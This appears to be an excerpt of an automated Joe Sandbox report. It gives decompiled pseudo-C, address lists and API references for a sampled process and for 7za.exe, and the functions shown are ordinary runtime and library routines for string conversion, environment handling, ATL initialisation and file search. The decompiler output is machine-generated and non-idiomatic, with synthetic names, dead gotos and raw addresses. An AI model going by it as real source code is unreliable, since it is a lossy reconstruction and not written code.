								_push(_t138);
								_push(_t98);
								_push(_t131);
								_push(_t119);
								_t121 = _v60;
								_t132 = 0;
								__eflags =  *_t121;
								if( *_t121 <= 0) {
									L37:
									_t74 = 0;
									__eflags = 0;
								} else {
									_t100 = 0;
									while(1) {
										_t78 = E013B3C3A( *((intOrPtr*)(_t100 +  *((intOrPtr*)(_t121 + 4)) + 4)) + 4, 0x13d980c);
										__eflags = _t78;
										if(_t78 == 0) {
											break;
										}
										_t132 = _t132 + 1;
										_t100 = _t100 + 0x10;
										__eflags = _t132 -  *_t121;
										if(_t132 <  *_t121) {
											continue;
										} else {
											goto L37;
										}
										goto L38;
									}
									_t74 = 1;
								}
								L38:
								return _t74;
							} else {
								_t123 =  *_t131;
								_t101 = 0;
								__eflags = _t123;
								if(_t123 > 0) {
									_t114 = 0;
									_v12 = 0;
									_t82 =  *((intOrPtr*)( *((intOrPtr*)(_v0 + 0x1c)) + 0xc));
									_t83 = _t82 + 4;
									__eflags = _t83;
									_v24 =  *_t82;
									_v32 = _t83;
									do {
										_t109 = _t83;
										_t84 = _v24;
										_v20 = _t83;
										_v16 = _t84;
										__eflags = _t84;
										if(_t84 > 0) {
											_t86 =  *((intOrPtr*)(_t131 + 4)) + _t114;
											__eflags = _t86;
											_v28 = _t86;
											while(1) {
												_t87 = E013B2F29(_t86,  *_t109,  *((intOrPtr*)(_v0 + 0x1c)));
												_t141 = _t141 + 0xc;
												__eflags = _t87;
												if(_t87 != 0) {
													break;
												}
												_t89 = _v16 - 1;
												_t109 = _v20 + 4;
												_v16 = _t89;
												__eflags = _t89;
												_v20 = _v20 + 4;
												_t86 = _v28;
												if(_t89 > 0) {
													continue;
												} else {
												}
												L29:
												_t114 = _v12;
												goto L30;
											}
											_t101 = 1;
											goto L29;
										}
										L30:
										_t83 = _v32;
										_t114 = _t114 + 0x10;
										_v12 = _t114;
										_t123 = _t123 - 1;
										__eflags = _t123;
									} while (_t123 != 0);
								}
								return _t101;
							}
						} else {
							_t70 = E013B3F29(_t105, _t98, _a28, _a24,  &_v12,  &_v8);
							_t111 = _v12;
							_t142 = _t140 + 0x14;
							_t116 = _v8;
							if(_t111 < _t116) {
								_t17 = _t70 + 0xc; // 0xc
								_t136 = _t17;
								_t70 = _a24;
								do {
									if(_t70 >=  *((intOrPtr*)(_t136 - 0xc)) && _t70 <=  *((intOrPtr*)(_t136 - 8))) {
										_t93 =  *_t136 << 4;
										if( *((intOrPtr*)(_t136[1] + _t93 - 0xc)) == 0) {
											L13:
											_t94 = _t93 + _t136[1] + 0xfffffff0;
											_t129 = _a4;
											if(( *(_t93 + _t136[1] + 0xfffffff0) & 0x00000040) == 0) {
												_push(1);
												_t35 = _t136 - 0xc; // 0x0
												E013B2514(_t98, _t116, _t129, _a8, _a12, _a16, _t98, _t94, 0, _t35, _a28, _a32);
												_t116 = _v8;
												_t142 = _t142 + 0x2c;
												_t111 = _v12;
											}
										} else {
											_t116 = _v8;
											_t98 = _a20;
											if( *((char*)( *((intOrPtr*)(_t136[1] + _t93 - 0xc)) + 8)) == 0) {
												goto L13;
											}
										}
										_t70 = _a24;
									}
									_t111 = _t111 + 1;
									_t136 =  &(_t136[5]);
									_v12 = _t111;
								} while (_t111 < _t116);
							}
							goto L17;
						}
					} else {
						__imp__EncodePointer(0);
						_t130 = _t71;
						if( *((intOrPtr*)(E013B3CAE(_t98, _t105, __edx, _t119, _t130, _t144) + 8)) == _t130 ||  *_t119 == 0xe0434f4d ||  *_t119 == 0xe0434352) {
							goto L6;
						} else {
							_t70 = E013B3E4C(_t119, _a8, _a12, _a16, _t98, _a28, _a32);
							_t140 = _t140 + 0x1c;
							if(_t70 != 0) {
								L17:
								goto L18;
							} else {
								goto L6;
							}
						}
					}
				}
			}

0x013b2944
0x013b2945
0x013b2947
0x013b294a
0x013b2950
0x013b2a51
0x013b2a55
0x013b2956
0x013b2958
0x013b295d
0x013b2960
0x013b2964
0x013b29ab
0x013b29af
0x013b2a56
0x013b2a5b
0x013b2a5d
0x013b2a5f
0x013b2a62
0x013b2a63
0x013b2a64
0x013b2a67
0x013b2a68
0x013b2a6a
0x013b2af2
0x013b2af7
0x013b2af8
0x013b2afb
0x013b2afc
0x013b2afd
0x013b2afe
0x013b2b01
0x013b2b03
0x013b2b05
0x013b2b2c
0x013b2b2c
0x013b2b2c
0x013b2b07
0x013b2b07
0x013b2b09
0x013b2b19
0x013b2b20
0x013b2b22
0x00000000
0x00000000
0x013b2b24
0x013b2b25
0x013b2b28
0x013b2b2a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x013b2b2a
0x013b2b33
0x013b2b33
0x013b2b2e
0x013b2b32
0x013b2a70
0x013b2a70
0x013b2a72
0x013b2a74
0x013b2a76
0x013b2a7b
0x013b2a7d
0x013b2a83
0x013b2a88
0x013b2a88
0x013b2a8b
0x013b2a8e
0x013b2a91
0x013b2a91
0x013b2a93
0x013b2a96
0x013b2a99
0x013b2a9c
0x013b2a9e
0x013b2aa3
0x013b2aa3
0x013b2aa5
0x013b2aa8
0x013b2ab1
0x013b2ab6
0x013b2ab9
0x013b2abb
0x00000000
0x00000000
0x013b2ac3
0x013b2ac4
0x013b2ac7
0x013b2aca
0x013b2acc
0x013b2acf
0x013b2ad2
0x00000000
0x00000000
0x013b2ad4
0x013b2ad8
0x013b2ad8
0x00000000
0x013b2ad8
0x013b2ad6
0x00000000
0x013b2ad6
0x013b2adb
0x013b2adb
0x013b2ade
0x013b2ae1
0x013b2ae4
0x013b2ae4
0x013b2ae4
0x013b2a91
0x013b2af1
0x013b2af1
0x013b29b5
0x013b29c4
0x013b29c9
0x013b29cc
0x013b29cf
0x013b29d4
0x013b29d6
0x013b29d6
0x013b29d9
0x013b29dc
0x013b29df
0x013b29eb
0x013b29f4
0x013b2a09
0x013b2a0f
0x013b2a11
0x013b2a17
0x013b2a19
0x013b2a1e
0x013b2a33
0x013b2a38
0x013b2a3b
0x013b2a3e
0x013b2a3e
0x013b29f6
0x013b29fd
0x013b2a04
0x013b2a07
0x00000000
0x00000000
0x013b2a07
0x013b2a41
0x013b2a41
0x013b2a44
0x013b2a45
0x013b2a48
0x013b2a4b
0x013b29dc
0x00000000
0x013b29d4
0x013b2966
0x013b2968
0x013b296e
0x013b2978
0x00000000
0x013b298a
0x013b299b
0x013b29a0
0x013b29a5
0x013b2a4f
0x00000000
0x00000000
0x00000000
0x00000000
0x013b29a5
0x013b2978
0x013b2964

APIs

Part of subcall function 013B3CAE: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B5DAB

EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,?,013D8234), ref: 013B2968
_GetRangeOfTrysToCheck.LIBVCRUNTIME ref: 013B29C4

Strings

MOC, xrefs: 013B297A
RCC, xrefs: 013B2982

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B8492, Relevance: 6.1, APIs: 4, Instructions: 110

C-Code - Quality: 86%

			E013B8492(void* __edx, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t54;
				int _t56;
				signed int _t62;
				int _t65;
				short* _t66;
				signed int _t67;
				short* _t68;

				_t64 = __edx;
				_t34 =  *0x13d900c; // 0x8ae99929
				_v8 = _t34 ^ _t67;
				E013B44EC(_t54,  &_v28, __edx, _a4);
				_t56 = _a24;
				if(_t56 == 0) {
					_t53 =  *(_v24 + 8);
					_t56 = _t53;
					_a24 = _t53;
				}
				_t65 = 0;
				_t40 = MultiByteToWideChar(_t56, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E013B143B(_t54, _v8 ^ _t67, _t64, _t65, _t66);
				}
				_t54 = _t40 + _t40;
				_t17 = _t54 + 8; // 0x8
				asm("sbb eax, eax");
				if((_t17 & _t40) == 0) {
					_t66 = 0;
					L11:
					if(_t66 != 0) {
						E013B39F0(_t65, _t66, _t65, _t54);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t66, _v12);
						if(_t46 != 0) {
							_t65 = GetStringTypeW(_a8, _t66, _t46, _a20);
						}
					}
					L14:
					E013B85AF(_t66);
					goto L15;
				}
				_t20 = _t54 + 8; // 0x8
				asm("sbb eax, eax");
				_t48 = _t40 & _t20;
				_t21 = _t54 + 8; // 0x8
				_t62 = _t21;
				if((_t40 & _t20) > 0x400) {
					asm("sbb eax, eax");
					_t66 = E013B5D41(_t62, _t48 & _t62);
					if(_t66 == 0) {
						goto L14;
					}
					 *_t66 = 0xdddd;
					L9:
					_t66 =  &(_t66[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E013BC7C0();
				_t66 = _t68;
				if(_t66 == 0) {
					goto L14;
				}
				 *_t66 = 0xcccc;
				goto L9;
			}

0x013b8492
0x013b849a
0x013b84a1
0x013b84ad
0x013b84b2
0x013b84b7
0x013b84bc
0x013b84bf
0x013b84c1
0x013b84c1
0x013b84c6
0x013b84df
0x013b84e5
0x013b84ea
0x013b8589
0x013b858d
0x013b8592
0x013b8592
0x013b85ae
0x013b85ae
0x013b84f0
0x013b84f3
0x013b84f8
0x013b84fc
0x013b8548
0x013b854a
0x013b854c
0x013b8551
0x013b8568
0x013b8570
0x013b8580
0x013b8580
0x013b8570
0x013b8582
0x013b8583
0x00000000
0x013b8588
0x013b84fe
0x013b8503
0x013b8505
0x013b8507
0x013b8507
0x013b850f
0x013b852c
0x013b8536
0x013b853b
0x00000000
0x00000000
0x013b853d
0x013b8543
0x013b8543
0x00000000
0x013b8543
0x013b8513
0x013b8517
0x013b851c
0x013b8520
0x00000000
0x00000000
0x013b8522
0x00000000

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000100,00000020,00000000,00000000,00000100,013B7947,00000000,00000001,00000020,00000100,?,5EFC4D8B,00000000), ref: 013B84DF

Part of subcall function 013B5D41: RtlAllocateHeap.NTDLL(00000000,?,?,?,013B1571,?,?,013B10E9,00000001), ref: 013B5D73

MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 013B8568
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 013B857A
__freea.LIBCMT ref: 013B8583

Part of subcall function 013B143B: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B1A7D

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B7AA0, Relevance: 6.1, APIs: 4, Instructions: 68

C-Code - Quality: 93%

			E013B7AA0() {
				int _v8;
				void* __ecx;
				void* _t6;
				int _t7;
				char* _t13;
				int _t17;
				void* _t19;
				char* _t25;
				WCHAR* _t27;

				_t27 = GetEnvironmentStringsW();
				if(_t27 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t6 = E013B7A69(_t27);
					_pop(_t19);
					_t17 = _t6 - _t27 >> 1;
					_t7 = WideCharToMultiByte(0, 0, _t27, _t17, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t25 = E013B5D41(_t19, _t7);
						if(_t25 == 0 || WideCharToMultiByte(0, 0, _t27, _t17, _t25, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t25;
							_t25 = 0;
						}
						E013B5D07(_t25);
					}
				}
				if(_t27 != 0) {
					FreeEnvironmentStringsW(_t27);
				}
				return _t13;
			}

0x013b7aaf
0x013b7ab5
0x013b7b0d
0x013b7b0d
0x013b7ab7
0x013b7ab8
0x013b7abd
0x013b7ac6
0x013b7acc
0x013b7ad2
0x013b7ad7
0x00000000
0x013b7ad9
0x013b7adf
0x013b7ae4
0x013b7b02
0x013b7afc
0x013b7afc
0x013b7afe
0x013b7afe
0x013b7b05
0x013b7b0a
0x013b7ad7
0x013b7b11
0x013b7b14
0x013b7b14
0x013b7b22

APIs

GetEnvironmentStringsW.KERNEL32 ref: 013B7AA9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 013B7ACC

Part of subcall function 013B5D41: RtlAllocateHeap.NTDLL(00000000,?,?,?,013B1571,?,?,013B10E9,00000001), ref: 013B5D73

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 013B7AF2

Part of subcall function 013B5D07: HeapFree.KERNEL32(00000000,00000000), ref: 013B5D1D
Part of subcall function 013B5D07: GetLastError.KERNEL32(?,?,013B83A0,?,00000000,?,00000000,?,013B83C7,?,00000007,?,?,013B87E4,?,?), ref: 013B5D2F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 013B7B14

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B21AE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22

C-Code - Quality: 100%

			E013B21AE(intOrPtr* __ecx, void* __eflags) {
				intOrPtr* _t13;

				_t13 = __ecx;
				E013B2201(__ecx);
				 *__ecx = 0x38;
				 *((intOrPtr*)(__ecx + 8)) = 0x13b0000;
				 *((intOrPtr*)(__ecx + 4)) = 0x13b0000;
				 *((intOrPtr*)(__ecx + 0xc)) = 0xe00;
				 *((intOrPtr*)(__ecx + 0x10)) = 0x13be2a0;
				if(E013B1020(0x13b0000, __ecx + 0x14) < 0) {
					if(IsDebuggerPresent() != 0) {
						OutputDebugStringW(L"ERROR : Unable to initialize critical section in CAtlBaseModule\n");
					}
					 *0x13da2f8 = 1;
				}
				return _t13;
			}

0x013b21af
0x013b21b1
0x013b21bb
0x013b21c4
0x013b21c7
0x013b21ca
0x013b21d1
0x013b21df
0x013b21e9
0x013b21f0
0x013b21f0
0x013b21f6
0x013b21f6
0x013b2200

APIs

Part of subcall function 013B1020: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,?,013B21DD,?,?,?,013B100A), ref: 013B1026
Part of subcall function 013B1020: GetLastError.KERNEL32(?,013B21DD,?,?,?,013B100A), ref: 013B1030

IsDebuggerPresent.KERNEL32(?,?,?,013B100A), ref: 013B21E1
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,013B100A), ref: 013B21F0

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 013B21EB

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B456F, Relevance: 5.1, APIs: 4, Instructions: 139

C-Code - Quality: 100%

			E013B456F(void* __edx, short* _a4, char* _a8, int _a12, intOrPtr _a16) {
				char* _v8;
				int _v12;
				char _v16;
				char _v24;
				char _v28;
				void* __ebx;
				char _t34;
				int _t35;
				int _t38;
				long _t39;
				char* _t42;
				int _t44;
				int _t47;
				int _t53;
				intOrPtr _t55;
				void* _t56;
				char* _t57;
				char* _t62;
				char* _t63;
				void* _t64;
				int _t65;
				short* _t67;
				short* _t68;
				int _t69;
				intOrPtr* _t70;

				_t64 = __edx;
				_t53 = _a12;
				_t67 = _a4;
				_t68 = 0;
				if(_t67 == 0) {
					L3:
					if(_a8 != _t68) {
						E013B44EC(_t53,  &_v28, _t64, _a16);
						_t34 = _v24;
						__eflags = _t67;
						if(_t67 == 0) {
							__eflags =  *((intOrPtr*)(_t34 + 0xa8)) - _t68;
							if( *((intOrPtr*)(_t34 + 0xa8)) != _t68) {
								_t69 = _t68 | 0xffffffff;
								_t35 = MultiByteToWideChar( *(_t34 + 8), 9, _a8, _t69, _t68, _t68);
								__eflags = _t35;
								if(_t35 != 0) {
									L29:
									_t28 = _t35 - 1; // -1
									_t69 = _t28;
									L30:
									__eflags = _v16;
									if(_v16 != 0) {
										_t55 = _v28;
										_t31 = _t55 + 0x350;
										 *_t31 =  *(_t55 + 0x350) & 0xfffffffd;
										__eflags =  *_t31;
									}
									return _t69;
								}
								 *((intOrPtr*)(E013B49C9())) = 0x2a;
								goto L30;
							}
							_t70 = _a8;
							_t56 = _t70 + 1;
							do {
								_t38 =  *_t70;
								_t70 = _t70 + 1;
								__eflags = _t38;
							} while (_t38 != 0);
							_t69 = _t70 - _t56;
							goto L30;
						}
						__eflags =  *((intOrPtr*)(_t34 + 0xa8)) - _t68;
						if( *((intOrPtr*)(_t34 + 0xa8)) != _t68) {
							_t69 = _t68 | 0xffffffff;
							_t35 = MultiByteToWideChar( *(_t34 + 8), 9, _a8, _t69, _t67, _t53);
							__eflags = _t35;
							if(_t35 != 0) {
								goto L29;
							}
							_t39 = GetLastError();
							__eflags = _t39 - 0x7a;
							if(_t39 != 0x7a) {
								L21:
								 *((intOrPtr*)(E013B49C9())) = 0x2a;
								 *_t67 = 0;
								goto L30;
							}
							_t42 = _a8;
							_t57 = _t42;
							_v8 = _t57;
							_t65 = _t53;
							__eflags = _t53;
							if(_t53 == 0) {
								L20:
								_t44 = MultiByteToWideChar( *(_v24 + 8), 1, _t42, _t57 - _t42, _t67, _t53);
								__eflags = _t44;
								if(_t44 != 0) {
									_t69 = _t44;
									goto L30;
								}
								goto L21;
							} else {
								goto L15;
							}
							while(1) {
								L15:
								_t45 =  *_t57;
								_v12 = _t65 - 1;
								__eflags =  *_t57;
								if(__eflags == 0) {
									break;
								}
								_t47 = E013B62F0(__eflags, _t45 & 0x000000ff,  &_v24);
								_t62 = _v8;
								__eflags = _t47;
								if(_t47 == 0) {
									L18:
									_t65 = _v12;
									_t57 = _t62 + 1;
									_v8 = _t57;
									__eflags = _t65;
									if(_t65 != 0) {
										continue;
									}
									break;
								}
								_t62 = _t62 + 1;
								__eflags =  *_t62;
								if( *_t62 == 0) {
									goto L21;
								}
								goto L18;
							}
							_t42 = _a8;
							goto L20;
						}
						__eflags = _t53;
						if(_t53 == 0) {
							goto L30;
						}
						_t63 = _a8;
						while(1) {
							 *_t67 =  *(_t68 + _t63) & 0x000000ff;
							__eflags =  *(_t68 + _t63);
							if( *(_t68 + _t63) == 0) {
								goto L30;
							}
							_t68 =  &(_t68[0]);
							_t67 =  &(_t67[1]);
							__eflags = _t68 - _t53;
							if(_t68 < _t53) {
								continue;
							}
							goto L30;
						}
						goto L30;
					}
					 *((intOrPtr*)(E013B49C9())) = 0x16;
					return E013B490D() | 0xffffffff;
				}
				if(_t53 != 0) {
					 *_t67 = 0;
					goto L3;
				}
				return 0;
			}

0x013b456f
0x013b4578
0x013b457d
0x013b4580
0x013b4584
0x013b4593
0x013b4596
0x013b45b6
0x013b45bb
0x013b45be
0x013b45c0
0x013b468e
0x013b4694
0x013b46a9
0x013b46b5
0x013b46bb
0x013b46bd
0x013b46cc
0x013b46cc
0x013b46cc
0x013b46cf
0x013b46cf
0x013b46d3
0x013b46d5
0x013b46d8
0x013b46d8
0x013b46d8
0x013b46d8
0x00000000
0x013b46df
0x013b46c4
0x00000000
0x013b46c4
0x013b4696
0x013b4699
0x013b469c
0x013b469c
0x013b469e
0x013b469f
0x013b469f
0x013b46a3
0x00000000
0x013b46a3
0x013b45c6
0x013b45cc
0x013b45f9
0x013b4605
0x013b460b
0x013b460d
0x00000000
0x00000000
0x013b4613
0x013b4619
0x013b461c
0x013b4678
0x013b467d
0x013b4685
0x00000000
0x013b4685
0x013b461e
0x013b4621
0x013b4623
0x013b4626
0x013b4628
0x013b462a
0x013b4660
0x013b466e
0x013b4674
0x013b4676
0x013b468a
0x00000000
0x013b468a
0x00000000
0x00000000
0x00000000
0x00000000
0x013b462c
0x013b462c
0x013b462c
0x013b462f
0x013b4632
0x013b4634
0x00000000
0x00000000
0x013b463e
0x013b4645
0x013b4648
0x013b464a
0x013b4652
0x013b4652
0x013b4655
0x013b4656
0x013b4659
0x013b465b
0x00000000
0x00000000
0x00000000
0x013b465b
0x013b464c
0x013b464d
0x013b4650
0x00000000
0x00000000
0x00000000
0x013b4650
0x013b465d
0x00000000
0x013b465d
0x013b45ce
0x013b45d0
0x00000000
0x00000000
0x013b45d6
0x013b45d9
0x013b45dd
0x013b45e0
0x013b45e4
0x00000000
0x00000000
0x013b45ea
0x013b45eb
0x013b45ee
0x013b45f0
0x00000000
0x00000000
0x00000000
0x013b45f2
0x00000000
0x013b45d9
0x013b459d
0x00000000
0x013b45a8
0x013b458a
0x013b4590
0x00000000
0x013b4590
0x013b46e7

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,?,?), ref: 013B4605
GetLastError.KERNEL32 ref: 013B4613
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?), ref: 013B466E
MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,00000000), ref: 013B46B5

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Analysis Process: 7za.exe PID: 3896 Parent PID: 3816

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	20

Executed Functions

Function 0040B174, Relevance: 7.6, APIs: 5, Instructions: 88

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E0040B174(void** __ecx, void* __edi, void* __eflags) {
				signed int _t34;
				signed int _t36;
				void* _t47;
				void* _t53;
				void** _t77;
				void* _t79;
				intOrPtr _t86;

				E0046B890(E00473D64, _t79);
				_t77 = __ecx;
				_t34 = E0040B154(__ecx);
				if(_t34 == 0) {
					L11:
					 *[fs:0x0] =  *((intOrPtr*)(_t79 - 0xc));
					return _t34;
				}
				_t86 =  *0x490a7c; // 0x1
				if(_t86 == 0) {
					E00403532(_t79 - 0x24,  *(_t79 + 8));
					 *(_t79 - 4) = 1;
					_t36 = AreFileApisANSI();
					asm("sbb eax, eax");
					_push( ~_t36 + 1);
					 *_t77 = FindFirstFileA( *(E0040822F(_t79 - 0x30)), _t79 - 0x170);
					E00407A18( *((intOrPtr*)(_t79 - 0x30)));
					 *(_t79 - 4) =  *(_t79 - 4) | 0xffffffff;
					E00407A18( *((intOrPtr*)(_t79 - 0x24)));
					__eflags =  *_t77 - 0xffffffff;
					if(__eflags != 0) {
						E0040B2EA(_t79 - 0x170,  *((intOrPtr*)(_t79 + 0xc)), __eflags);
					}
					L10:
					_t34 = 0 |  *_t77 != 0xffffffff;
					goto L11;
				}
				_t47 = FindFirstFileW( *(_t79 + 8), _t79 - 0x3c0); // executed
				 *_t77 = _t47;
				if(_t47 != 0xffffffff) {
					L6:
					_t90 =  *_t77 - 0xffffffff;
					if( *_t77 != 0xffffffff) {
						E0040B28B(_t79 - 0x3c0,  *((intOrPtr*)(_t79 + 0xc)), _t90);
					}
					goto L10;
				}
				 *(_t79 - 0x18) = 0;
				 *((intOrPtr*)(_t79 - 0x14)) = 0;
				 *((intOrPtr*)(_t79 - 0x10)) = 0;
				E00401E9A(_t79 - 0x18, 3);
				 *(_t79 - 4) = 0;
				if(E0040B863(_t79 - 0x18) != 0) {
					_t53 = FindFirstFileW( *(_t79 - 0x18), _t79 - 0x3c0); // executed
					 *_t77 = _t53;
				}
				 *(_t79 - 4) =  *(_t79 - 4) | 0xffffffff;
				E00407A18( *(_t79 - 0x18));
				goto L6;
			}

0x0040b179
0x0040b185
0x0040b187
0x0040b18e
0x0040b27c
0x0040b280
0x0040b288
0x0040b288
0x0040b197
0x0040b19d
0x0040b215
0x0040b21a
0x0040b221
0x0040b229
0x0040b232
0x0040b24b
0x0040b24d
0x0040b255
0x0040b259
0x0040b25e
0x0040b263
0x0040b26e
0x0040b26e
0x0040b273
0x0040b279
0x00000000
0x0040b279
0x0040b1b0
0x0040b1b5
0x0040b1b7
0x0040b1f9
0x0040b1f9
0x0040b1fd
0x0040b208
0x0040b208
0x00000000
0x0040b1fd
0x0040b1be
0x0040b1c1
0x0040b1c4
0x0040b1c7
0x0040b1d2
0x0040b1dc
0x0040b1e8
0x0040b1ea
0x0040b1ea
0x0040b1ef
0x0040b1f3
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0040B179

Part of subcall function 0040B154: FindClose.KERNEL32(00000000,?,0040B18C), ref: 0040B15F

FindFirstFileW.KERNELBASE(000000FF,?,?), ref: 0040B1B0
FindFirstFileW.KERNELBASE(00000002,?,00000003), ref: 0040B1E8
AreFileApisANSI.KERNEL32(000000FF), ref: 0040B221
FindFirstFileA.KERNEL32(?,?,00000001), ref: 0040B242

Part of subcall function 0040B2EA: __EH_prolog.LIBCMT ref: 0040B2EF
Part of subcall function 0040B2EA: AreFileApisANSI.KERNEL32(?,?,00000000,00000000,00000001,?,?,00000000), ref: 0040B355

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046CF4C, Relevance: 1.6, APIs: 1, Instructions: 68

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				unsigned int _t8;
				intOrPtr _t18;
				intOrPtr _t19;
				signed int _t25;
				intOrPtr _t41;

				_t37 = __edi;
				_push(0xffffffff);
				_push(0x47c8a0);
				_push(E0046CE74);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t41;
				_push(__edi);
				_v28 = _t41 - 0x10;
				_t8 = GetVersion();
				 *0x4936fc = 0;
				_t25 = _t8 & 0x000000ff;
				 *0x4936f8 = _t25;
				 *0x4936f4 = _t25 << 8;
				 *0x4936f0 = _t8 >> 0x10;
				if(E0046EA66(_t25 << 8, 1) == 0) {
					E0046D061(0x1c);
				}
				if(E0046E31C() == 0) {
					E0046D061(0x10);
				}
				_v8 = _v8 & 0x00000000;
				E0046FCD7(); // executed
				 *0x49659c = GetCommandLineA();
				 *0x493670 = E00470AD6();
				E00470889();
				E004707D0();
				E0046E6C8();
				_t18 =  *0x49370c; // 0x12d1288
				 *0x493710 = _t18;
				_push(_t18);
				_push( *0x493704);
				_push( *0x493700); // executed
				_t19 = E00405C72(_v8); // executed
				_v32 = _t19;
				E0046E6F5(_t19);
				_v36 =  *((intOrPtr*)( *_v24));
				return E00470658(_t37, _v8,  *((intOrPtr*)( *_v24)), _v24);
			}

0x0046cf4c
0x0046cf4f
0x0046cf51
0x0046cf56
0x0046cf61
0x0046cf62
0x0046cf6e
0x0046cf6f
0x0046cf72
0x0046cf7c
0x0046cf84
0x0046cf8a
0x0046cf95
0x0046cf9e
0x0046cfad
0x0046cfb1
0x0046cfb6
0x0046cfbe
0x0046cfc2
0x0046cfc7
0x0046cfc8
0x0046cfcc
0x0046cfd7
0x0046cfe1
0x0046cfe6
0x0046cfeb
0x0046cff0
0x0046cff5
0x0046cffa
0x0046cfff
0x0046d000
0x0046d006
